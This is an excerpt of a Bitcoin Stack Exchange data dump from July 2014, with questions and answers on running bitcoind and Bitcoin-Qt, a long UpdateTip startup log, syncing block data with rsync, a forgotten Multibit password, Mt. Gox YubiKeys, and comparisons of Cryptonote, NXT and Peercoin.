  <row Id="29686" PostTypeId="2" ParentId="29683" CreationDate="2014-07-24T23:24:44.457" Score="2" Body="&lt;p&gt;Well I guess there are three reasons I personally trade for.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a profit by buying BTC/fiat low and selling fiat/BTC high.&lt;/li&gt;&#xA;&lt;li&gt;Potentially increasing the profitability of Bitcoin by increasing the coin volatility via trading.&lt;/li&gt;&#xA;&lt;li&gt;Being a stakeholder in the currency of the 21st century.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does this give you an idea of some of the motivations?&lt;/p&gt;&#xA;" OwnerUserId="18724" LastActivityDate="2014-07-24T23:24:44.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29687" PostTypeId="2" ParentId="29677" CreationDate="2014-07-24T23:25:41.510" Score="3" Body="&lt;p&gt;It's not hard to use Bitcoin approach in client software. NRS (Nxt Reference Software) doesn't support this because anonymity is not ensured this way, it only creates a delusion of anonymity (&lt;a href=&quot;http://people.csail.mit.edu/spillai/data/papers/bitcoin-transaction-graph-analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;http://people.csail.mit.edu/spillai/data/papers/bitcoin-transaction-graph-analysis.pdf&lt;/a&gt;). CoinShuffle (&lt;a href=&quot;http://crypsys.mmci.uni-saarland.de/projects/CoinShuffle/coinshuffle.pdf&quot; rel=&quot;nofollow&quot;&gt;http://crypsys.mmci.uni-saarland.de/projects/CoinShuffle/coinshuffle.pdf&lt;/a&gt;) will be added to Nxt soon to provide a better protection against deanonymization.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-24T23:25:41.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29688" PostTypeId="1" CreationDate="2014-07-25T04:45:33.800" Score="1" ViewCount="189" Body="&lt;p&gt;I'm running &lt;code&gt;Bitcoin-Qt&lt;/code&gt; on a dedicated server with a good connection (although, only a modest cpu). What is the frequency with which I will earn bitcoins?&lt;/p&gt;&#xA;" OwnerDisplayName="user18727" LastEditorUserId="5406" LastEditDate="2016-10-12T18:47:41.210" LastActivityDate="2016-10-12T18:47:41.210" Title="How much will I earn by running Bitcoin-Qt?" Tags="|transaction-fees|full-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29689" PostTypeId="2" ParentId="29683" CreationDate="2014-07-25T06:39:59.880" Score="0" Body="&lt;p&gt;Well you might not be able to buy everything you want with it yet, but every day new merchants announce they accept bitcoin. Overstock and Expedia are just two of the biggest names I can recall right now. If the trend goes on like this, it won't take long for a lot of other big names to jump in. Once adoption grows larger the value is obviously going to go up. So you might want to do it as a long term investment too.&lt;/p&gt;&#xA;" OwnerUserId="16981" LastActivityDate="2014-07-25T06:39:59.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29690" PostTypeId="2" ParentId="29688" CreationDate="2014-07-25T06:42:47.533" Score="6" Body="&lt;p&gt;Transaction fees are earned only by miners.  Running Bitcoin-QT, you will &lt;em&gt;relay&lt;/em&gt; transactions and blocks for other people, but this does not earn you any fee.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-25T06:42:47.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29691" PostTypeId="1" AcceptedAnswerId="29694" CreationDate="2014-07-25T07:49:06.267" Score="1" ViewCount="1575" Body="&lt;p&gt;It has been 10 days since I ran bitcoind. When I opened it yesterday, I waited for about 40 minutes during which I could do not much except for waiting because my computer became so slow (high CPU usage), while bitcoin was running 'UpdateTip'. In my log file you can see about 40 minutes of this activity. Ultimately, I had to shut down my computer because I had other stuff to do. What could cause this process to be so CPU and time intensive? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is not an exceptional situation: it happens every time I open bitcoind (the longer the time between the last open, the longer it takes to run this UpdateTip thing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I download the new database files by ryncing them from another computer - in case that may affect the situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my log file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-07-24 15:36:02 Bitcoin version v0.9.2.1-g354c0f3-beta (Thu, 19 Jun 2014 09:51:15 +0200)&#xA;2014-07-24 15:36:02 Using OpenSSL version OpenSSL 1.0.1h 5 Jun 2014&#xA;2014-07-24 15:36:02 Using BerkeleyDB version Berkeley DB 5.3.28: (September  9, 2013)&#xA;2014-07-24 15:36:02 Default data directory /home/jny/.bitcoin&#xA;2014-07-24 15:36:02 Using data directory /home/jny/.bitcoin&#xA;2014-07-24 15:36:02 Using at most 125 connections (1024 file descriptors available)&#xA;2014-07-24 15:36:02 Using 2 threads for script verification&#xA;2014-07-24 15:36:02 Using wallet wallet.dat&#xA;2014-07-24 15:36:02 init message: Verifying wallet...&#xA;2014-07-24 15:36:02 CDBEnv::Open : LogDir=/home/jny/.bitcoin/database ErrorFile=/home/jny/.bitcoin/db.log&#xA;2014-07-24 15:36:02 init message: Loading block index...&#xA;2014-07-24 15:36:02 Opening LevelDB in /home/jny/.bitcoin/blocks/index&#xA;2014-07-24 15:36:03 Opened LevelDB successfully&#xA;2014-07-24 15:36:03 Opening LevelDB in /home/jny/.bitcoin/chainstate&#xA;2014-07-24 15:36:03 Opened LevelDB successfully&#xA;2014-07-24 15:36:10 LoadBlockIndexDB(): last block file = 159&#xA;2014-07-24 15:36:10 LoadBlockIndexDB(): last block file info: CBlockFileInfo(blocks=460, size=119319801, heights=311820...312279, time=2014-07-21...2014-07-24)&#xA;2014-07-24 15:36:10 LoadBlockIndexDB(): transaction index disabled&#xA;2014-07-24 15:36:10 LoadBlockIndexDB(): hashBestChain=000000000000000004cc093a27bb1b1380d669d57b7a6c702ce0984f12653062 height=308577 date=2014-06-30 07:52:18 progress=0.921759&#xA;2014-07-24 15:36:10 init message: Verifying blocks...&#xA;2014-07-24 15:36:10 Verifying last 288 blocks at level 0&#xA;2014-07-24 15:36:13 No coin database inconsistencies in last 0 blocks (0 transactions)&#xA;2014-07-24 15:36:13  block index           10521ms&#xA;2014-07-24 15:36:13 init message: Loading wallet...&#xA;2014-07-24 15:36:13 nFileVersion = 90201&#xA;2014-07-24 15:36:13 Keys: 106 plaintext, 0 encrypted, 3 w/ metadata, 106 total&#xA;2014-07-24 15:36:13  wallet                  528ms&#xA;2014-07-24 15:36:13 init message: Rescanning...&#xA;2014-07-24 15:36:13 Rescanning last 4 blocks (from block 308573)...&#xA;2014-07-24 15:36:14  rescan                  107ms&#xA;2014-07-24 15:36:49 UpdateTip: new best=00000000000000001c8ceca5427284f37fc6df581b179b0ec5ddd2510c17b63f  height=308578  log2_work=79.466937  tx=41633241  date=2014-06-30 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height=308866  log2_work=79.502421  tx=41778955  date=2014-07-02 10:21:20 progress=0.928536&#xA;2014-07-24 16:09:21 UpdateTip: new best=00000000000000003a5ecd43069ca99f13ab8509038379961149766cf9f5ea98  height=308867  log2_work=79.502543  tx=41779550  date=2014-07-02 10:38:48 progress=0.928574&#xA;2014-07-24 16:09:21 UpdateTip: new best=0000000000000000410cd4a123f6c1c779906c02fd1cd7aeeaab06924ca3f6b2  height=308868  log2_work=79.502664  tx=41779757  date=2014-07-02 10:43:38 progress=0.928585&#xA;2014-07-24 16:09:25 UpdateTip: new best=00000000000000003f9dacb1f6ef9dc478d826544aaca3706e60ca0e7150c30b  height=308869  log2_work=79.502786  tx=41780284  date=2014-07-02 10:54:01 progress=0.928608&#xA;2014-07-24 16:09:28 UpdateTip: new best=000000000000000040a9e0ac550b205de0a163f6dd7e37444502f6357e3e122f  height=308870  log2_work=79.502908  tx=41780762  date=2014-07-02 11:04:58 progress=0.928633&#xA;2014-07-24 16:09:31 UpdateTip: new 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UpdateTip: new best=00000000000000000ffccf436d7bf017766cb79cfaed9e3c5571b3e2e4b7517e  height=308876  log2_work=79.503637  tx=41783187  date=2014-07-02 12:10:12 progress=0.928776&#xA;2014-07-24 16:10:00 UpdateTip: new best=00000000000000003df9c7b61b762332080ca2bb93a07cd3d8d0ffcc74ad62d0  height=308877  log2_work=79.503759  tx=41783690  date=2014-07-02 12:14:42 progress=0.928787&#xA;2014-07-24 16:10:09 UpdateTip: new best=0000000000000000088ea666d9a17333daf3e41f54b5877d11f43bacbf4f0c5a  height=308878  log2_work=79.503881  tx=41784029  date=2014-07-02 12:21:43 progress=0.928803&#xA;2014-07-24 16:10:16 UpdateTip: new best=0000000000000000403754920681189fbd329dbd806b94651ab4d57cfd07b662  height=308879  log2_work=79.504002  tx=41784370  date=2014-07-02 12:28:01 progress=0.928817&#xA;2014-07-24 16:10:36 UpdateTip: new best=0000000000000000235f9b198c2dfd32218e48e56bb2b2761ae8d87ab26f8ad9  height=308880  log2_work=79.504124  tx=41784705  date=2014-07-02 12:32:31 progress=0.928827&#xA;2014-07-24 16:10:58 UpdateTip: new best=000000000000000034fd959ce61bf13ba244836b16e1a0ed1e0c8f0b1a8126b2  height=308881  log2_work=79.504245  tx=41786480  date=2014-07-02 13:16:44 progress=0.928924&#xA;2014-07-24 16:11:12 UpdateTip: new best=00000000000000002793f686ec8fd0fc82b4e60421b492586dd560ad84cdb9e7  height=308882  log2_work=79.504367  tx=41787256  date=2014-07-02 13:33:41 progress=0.928962&#xA;2014-07-24 16:11:14 UpdateTip: new best=0000000000000000205bb223e37996de2c1c78fbf596787721a30c2d19c86c56  height=308883  log2_work=79.504488  tx=41787512  date=2014-07-02 13:46:08 progress=0.928989&#xA;2014-07-24 16:11:19 UpdateTip: new best=00000000000000000d3e581ab7987e5cef1f3c8387ca09b17b3ed755a49e1895  height=308884  log2_work=79.50461  tx=41788175  date=2014-07-02 13:48:48 progress=0.928996&#xA;2014-07-24 16:11:26 UpdateTip: new best=000000000000000007ccbef5b4d838a24742db01e86014d7bb4fd1b16d160dee  height=308885  log2_work=79.504731  tx=41788431  date=2014-07-02 13:51:29 progress=0.929003&#xA;2014-07-24 16:11:40 UpdateTip: new best=00000000000000003d9f50c129560d42dff5731ec61665362575916e131d4490  height=308886  log2_work=79.504853  tx=41789093  date=2014-07-02 14:01:52 progress=0.929026&#xA;2014-07-24 16:11:47 UpdateTip: new best=000000000000000020872506f40951c3d5766d399a50effcd9419d5b1041ba5f  height=308887  log2_work=79.504974  tx=41789510  date=2014-07-02 14:08:28 progress=0.929041&#xA;2014-07-24 16:11:51 UpdateTip: new best=00000000000000002110c9c99b2f141c5bc1c51c0a3536b4be68e84f24c2659a  height=308888  log2_work=79.505096  tx=41789730  date=2014-07-02 14:11:43 progress=0.929049&#xA;2014-07-24 16:11:55 UpdateTip: new best=00000000000000000f32ab6cbc1bde47b68c35e0c588f5681c48f2608a81ab60  height=308889  log2_work=79.505217  tx=41789938  date=2014-07-02 14:13:48 progress=0.929054&#xA;2014-07-24 16:11:59 UpdateTip: new best=00000000000000001ae3aabca8a7bdfd8f5066603a05f78d02082886ef3a04b8  height=308890  log2_work=79.505339  tx=41790158  date=2014-07-02 14:17:05 progress=0.929061&#xA;2014-07-24 16:12:27 UpdateTip: new best=00000000000000000cc15cadbe8642a9da196beace3413a45180e31e30442330  height=308891  log2_work=79.50546  tx=41790446  date=2014-07-02 14:21:10 progress=0.929070&#xA;2014-07-24 16:12:59 UpdateTip: new best=00000000000000003bd0bc063d53d60473e9adb7d891ee259d275cfdb1796845  height=308892  log2_work=79.505582  tx=41790712  date=2014-07-02 14:24:44 progress=0.929077&#xA;2014-07-24 16:13:06 UpdateTip: new best=000000000000000016e93ac9e00f93d2a6d530bf6e8030ade14270909ebe7ef5  height=308893  log2_work=79.505703  tx=41791211  date=2014-07-02 14:33:36 progress=0.929097&#xA;2014-07-24 16:13:27 UpdateTip: new best=000000000000000018dd41fc55222a5c94a6fe45940ee91cd3be6d673571e378  height=308894  log2_work=79.505825  tx=41791608  date=2014-07-02 14:43:06 progress=0.929118&#xA;2014-07-24 16:13:36 UpdateTip: new best=00000000000000002a1d068606e67d09a964a800edacbf5b765e3bc4d2ee5f3a  height=308895  log2_work=79.505946  tx=41791935  date=2014-07-02 14:47:21 progress=0.929127&#xA;2014-07-24 16:13:52 UpdateTip: new best=00000000000000003771d2a06984d5ab72b7284b5be72380c07d71d96e79eae1  height=308896  log2_work=79.506067  tx=41792691  date=2014-07-02 15:02:07 progress=0.929160&#xA;2014-07-24 16:13:59 UpdateTip: new best=000000000000000034b5fe5281b064310427ca0e6955512e097c817bdafdb3c6  height=308897  log2_work=79.506189  tx=41792895  date=2014-07-02 15:04:50 progress=0.929166&#xA;2014-07-24 16:14:01 UpdateTip: new best=00000000000000001bf64995fe5f44fa15845bd638dc0a26b2cd6c6d6d13be11  height=308898  log2_work=79.50631  tx=41793074  date=2014-07-02 15:07:11 progress=0.929172&#xA;2014-07-24 16:14:10 UpdateTip: new best=00000000000000002479b6320d7e0bf85f135d1efa1d3ee2042074f2cd53b7c4  height=308899  log2_work=79.506432  tx=41794125  date=2014-07-02 15:32:10 progress=0.929227&#xA;2014-07-24 16:14:24 UpdateTip: new best=0000000000000000187b91020b29b9ffd6837ad5506fd92cabdc2bad57e93022  height=308900  log2_work=79.506553  tx=41794999  date=2014-07-02 15:43:30 progress=0.929254&#xA;2014-07-24 16:14:49 UpdateTip: new best=0000000000000000046cca966885e7d98da570d7b98177926da2a24de672de4a  height=308901  log2_work=79.506674  tx=41795693  date=2014-07-02 15:53:31 progress=0.929276&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14680" LastActivityDate="2014-07-25T09:45:46.350" Title="Why could UpdateTip be taking so long?" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29692" PostTypeId="2" ParentId="29691" CreationDate="2014-07-25T08:39:53.237" Score="0" Body="&lt;p&gt;In an earlier Version of bitcoin-qt the line was the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SetBestChain: new best=0000000000000419f719  height=212580  work=666804971104474944731&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=136628.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=136628.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the log messages, new best is the start of the hash of the block&#xA;  that it considers to be the head of the best chain, height is the&#xA;  length of the path through the tree, and work is the sum of the work&#xA;  embedded in that path.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It basically means that your client received a new best blockchain, so a new block was found. You can compare those log entries, they will allways increase in height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this is CPU intense for you, i didn't recognized this at my client yet. There is no way to remove this function because its a fundamental one of bitcoin-qt client and the bitcoin protocol. Also making it less CPU intense can only be done by changing the source of the client and this would most likely make it take even longer.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-25T08:39:53.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29693" PostTypeId="2" ParentId="23117" CreationDate="2014-07-25T09:41:05.560" Score="2" Body="&lt;p&gt;I just thought of this method the other day.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The landlord gives me a unique numeric ID, say 12345, because my apartment number is 12345. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of each month, I would only need to deposit 5 bitcoins +12345 Satoshi in his wallet. The benefit of this scheme is that he needs not generate a new address for every tenant. This is good for him because he can just publish his rent-accepting address statically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately my rent is slightly higher in this scheme. &lt;/p&gt;&#xA;" OwnerUserId="14197" LastActivityDate="2014-07-25T09:41:05.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29694" PostTypeId="2" ParentId="29691" CreationDate="2014-07-25T09:45:46.350" Score="4" Body="&lt;p&gt;When Bitcoin detects that there are blocks in its block database that have not yet been processed, it processes them all at startup, as a recovery mechanism. It may mean that somehow blocks were downloaded, but the node crashed before they were processed. So basically, you're doing all validation for the new blocks since the previous run in one go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume you're syncing the blocks/* data, but not the chainstate/*? If you would synchronize the latter too, Bitcoin would have the processed result too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the CPU usage is too high for you, set &lt;code&gt;-par=1&lt;/code&gt; on the command line (or &lt;code&gt;par=1&lt;/code&gt; in bitcoin.conf), which will limit validation to a single thread/core (meaning it will take longer as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evidence: the 'last block file' log line mentions heights up to 312279, but the initial best tip (=up to where the chainstate is computed) has height 308577.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-07-25T09:45:46.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29695" PostTypeId="1" CreationDate="2014-07-25T09:54:24.643" Score="-1" ViewCount="95" Body="&lt;p&gt;How desirable are features like  Cryptonote in an altcoin?&#xA;DO you guys think, this is a feature you guys would prefer over an X11 or X13 algorihm?&lt;/p&gt;&#xA;" OwnerUserId="18337" LastActivityDate="2014-07-25T18:03:23.840" Title="How desirable are features like Cryptonote in an altcoin?" Tags="|altcoin|" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-31T16:47:29.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="29697" PostTypeId="1" AcceptedAnswerId="29699" CreationDate="2014-07-25T12:18:34.430" Score="0" ViewCount="90" Body="&lt;p&gt;Maybe Anybody can tell me why i got no output on my Browser with $mystring ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/W0G4Sy4e&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/W0G4Sy4e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shell Output : php test.php&lt;br&gt;&#xA;0.01341011&lt;br&gt;&#xA;0.01341011&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love using PHP!&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browser Output :&lt;br&gt;&#xA;I love using PHP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kindly regards&#xA;Jessy&lt;/p&gt;&#xA;" OwnerUserId="18734" LastActivityDate="2014-07-26T12:43:14.330" Title="Get last price from Comkort exchange PHP-JSON" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29698" PostTypeId="1" CreationDate="2014-07-25T12:29:20.143" Score="2" ViewCount="1339" Body="&lt;p&gt;I would like to use the &lt;code&gt;bitcoind&lt;/code&gt; daemon but I don't want the high CPU footprint related to validating blocks every time new blocks come in. There is a better equipped computer that I can &lt;code&gt;rsync&lt;/code&gt; with, which would in theory allow me to just download the files and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind --daemon -connect=0.0.0.0 -checklevel=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I run &lt;code&gt;connect=0.0.0.0&lt;/code&gt; because I don't want new blocks to arrive directly on this computer, and &lt;code&gt;checklevel=0&lt;/code&gt; to prevent any block checks upon start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sync this with command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rsync --progress --partial --recursive --size-only --verbose --delete -e &quot;ssh -v&quot; bitcoinserver:/home/jny/.bitcoin/blocks/ /home/jny/.bitcoin/blocks/  &amp;amp;&amp;amp; scp bitcoinserver:/home/jny/.bitcoin/blocks/index/CURRENT /home/jny/.bitcoin/blocks/index/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I sync the &lt;code&gt;blocks&lt;/code&gt; directory and download the &lt;code&gt;CURRENT&lt;/code&gt; file in the &lt;code&gt;index&lt;/code&gt; directory. Through trial and error I found this to work. However, there is one problem: I still have a high CPU usage because of the UpdateTip function that runs to process the blocks (see: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/29691/why-could-updatetip-be-taking-so-long&quot;&gt;Why could UpdateTip be taking so long?&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I do include the &lt;code&gt;chainstate&lt;/code&gt; directory in my syncing, then I can not start bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-07-25 12:03:36 Opened LevelDB successfully&#xA;2014-07-25 12:03:36 Opening LevelDB in /home/jny/.bitcoin/chainstate&#xA;2014-07-25 12:03:39 Corruption: 207 missing files; e.g.: /home/jny/.bitcoin/chainstate/452003.ldb&#xA;2014-07-25 12:03:39 : Error opening block database.&#xA;&#xA;Do you want to rebuild the block database now?&#xA;2014-07-25 12:03:39 Aborted block database rebuild. Exiting.&#xA;2014-07-25 12:03:39 Shutdown : In progress...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I imagine that the problem is that the files in chainstate are being changed as I download them. Stopping bitcoind on the server while rsyncing is not an option, unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another disadvantage is that files in the &lt;code&gt;chainstate&lt;/code&gt; directory seem to change a lot, which makes rsync download many of them over and over again, even though it could have been only a few hours since the last sync. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to set up a more streamlined rsync of my bitcoin database? &lt;/p&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="5406" LastEditDate="2017-06-20T05:44:27.170" LastActivityDate="2017-06-20T05:44:27.170" Title="How can I rsync my bitcoin database?" Tags="|bitcoind|synchronization|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29699" PostTypeId="2" ParentId="29697" CreationDate="2014-07-25T12:30:13.360" Score="0" Body="&lt;p&gt;This is probably due to your web server php configuration that disallow you to open a remote url (see this thread &lt;a href=&quot;https://stackoverflow.com/q/3488425/2652054&quot;&gt;https://stackoverflow.com/q/3488425/2652054&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-07-26T12:43:14.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29700" PostTypeId="1" CreationDate="2014-07-25T14:42:12.667" Score="2" ViewCount="209" Body="&lt;p&gt;My main devices: 12x U1 AntMiner + Raspberry Pi B 512 MB (Included 32GB SD containing MinePeon)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As normal I should:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Plug in those miners &amp;amp; Raspberry Pi's micro USB-cable into hubs  &lt;/li&gt;&#xA;&lt;li&gt;Connect the hubs to Raspberry Pi&lt;/li&gt;&#xA;&lt;li&gt;Connect R-Pi to the internet (88 MBit/s, if it's important)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It should start from here, where I could setup my pool but none of my miners were found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I'm sure that cable and software are OK (Checked 4 times)&lt;/p&gt;&#xA;" OwnerUserId="18679" LastEditorUserId="5406" LastEditDate="2016-03-05T14:52:55.197" LastActivityDate="2016-03-05T14:52:55.197" Title="Why won't my pool find my miners?" Tags="|miner-configuration|antminer|raspberry-pi|" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-09T23:35:04.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="29701" PostTypeId="1" CreationDate="2014-07-25T15:09:20.177" Score="5" ViewCount="260" Body="&lt;p&gt;I am running multibit.  I have less than half a bitcoin.  I realised today that I have totally forgotten my password.  My wallet is still open so I can still use it to pay for stuff.  Can I create a new wallet in multibit and transfer the bitcoin balance to that without having to retype me password or logging out of my current wallet?&lt;/p&gt;&#xA;" OwnerUserId="18736" LastActivityDate="2014-07-25T22:10:13.017" Title="Multibit: Whats the best way to proceed if I have forgotten my password but my wallet is still open" Tags="|wallet|multibit|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29702" PostTypeId="1" AcceptedAnswerId="29705" CreationDate="2014-07-25T16:40:09.320" Score="3" ViewCount="409" Body="&lt;p&gt;Does anyone know if Mt. Gox, now that they're bankrupt, has released their YubiKey's &quot;configuration protection access code&quot; (cf. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/11751/4334&quot;&gt;this&lt;/a&gt;)? If so, we could reprogram the free YubiKeys they sent us and use them for other purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know their contact information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-07-25T18:54:39.070" Title="What is Mt. Gox's YubiKeys' &quot;configuration protection access code&quot;?" Tags="|security|mtgox|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29703" PostTypeId="2" ParentId="29701" CreationDate="2014-07-25T18:02:47.773" Score="3" Body="&lt;p&gt;Multibit will prompt you for a password regardless of whether you are sending it to your own wallet or not. This is by design, since if it didn't do this, it would allow anyone who can access your laptop to transfer bitcoins from your encrypted wallet by sending it to the unencrypted wallet first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry but unless you made an unencrypted backup of the wallet in the past, your coins are lost if you can't recover your password.&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-07-25T22:10:13.017" LastActivityDate="2014-07-25T22:10:13.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29704" PostTypeId="2" ParentId="29695" CreationDate="2014-07-25T18:03:23.840" Score="1" Body="&lt;p&gt;First of all, it's the technology itself. Among other features we can see the actually untraceable payments and unlinkable transactions which are executed via ring signatures. Greg Maxwell who is one of the Bitcoin fore-founders wrote that it would be good to implement such a mechanism in Bitcoin itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's ASIC resistant and egalitarian PoW algo. This means the efficiency of mining is the same for CPU and GPU. Also there's a mechanism on protocol level which allows the users to vote for all changes through hashrate. Here's detailed info &lt;a href=&quot;https://cryptonote.org/inside.php&quot; rel=&quot;nofollow&quot;&gt;https://cryptonote.org/inside.php&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol is entirely different from the one used by Bitcoin and is made on a different base. It must have been made by a team of extremely skilled scientists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly the Cryptonote technology has survived the test of time. The initial version of the Cryptonote whitepaper appeared at the end of 2012 &lt;a href=&quot;https://cryptonote.org/whitepaper_v1.pdf&quot; rel=&quot;nofollow&quot;&gt;https://cryptonote.org/whitepaper_v1.pdf&lt;/a&gt;. Its first implementation named Bytecoin was launched a bit earlier and it's still stable.&lt;/p&gt;&#xA;" OwnerUserId="18739" LastActivityDate="2014-07-25T18:03:23.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29705" PostTypeId="2" ParentId="29702" CreationDate="2014-07-25T18:54:39.070" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the unlock codes were leaked:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=631044&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=631044&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://bitcointalk.org/index.php?topic=709921.msg8023282#msg8023282&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2014-07-25T18:54:39.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29706" PostTypeId="2" ParentId="18732" CreationDate="2014-07-25T22:35:35.200" Score="0" Body="&lt;p&gt;You can try to run it with the configuration -checklevel=0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will do a less intensive block validation check as explained here: &#xA;&lt;a href=&quot;https://gitorious.org/bitcoin/luke-jr-bitcoin/commit/4538e45c46d3829a21aed7685e6fbac7e8aafad3&quot; rel=&quot;nofollow&quot;&gt;https://gitorious.org/bitcoin/luke-jr-bitcoin/commit/4538e45c46d3829a21aed7685e6fbac7e8aafad3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-07-25T22:35:35.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29707" PostTypeId="1" CreationDate="2014-07-26T00:16:18.407" Score="4" ViewCount="355" Body="&lt;p&gt;PeerCoin has a Proof-of-Stake concept (and a small portion of Proof-of-Work), to secure the network. NXT is using only POS, which makes it even more energy efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will NXT render PPC (PeerCoin) obsolete? Or which disadvantages does NXT have in comparison to PPC, except for PPC being older and therefore being more established.&lt;/p&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2015-10-07T07:50:44.130" Title="PPC (peercoin) obsoleted by NXT?" Tags="|peercoin|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
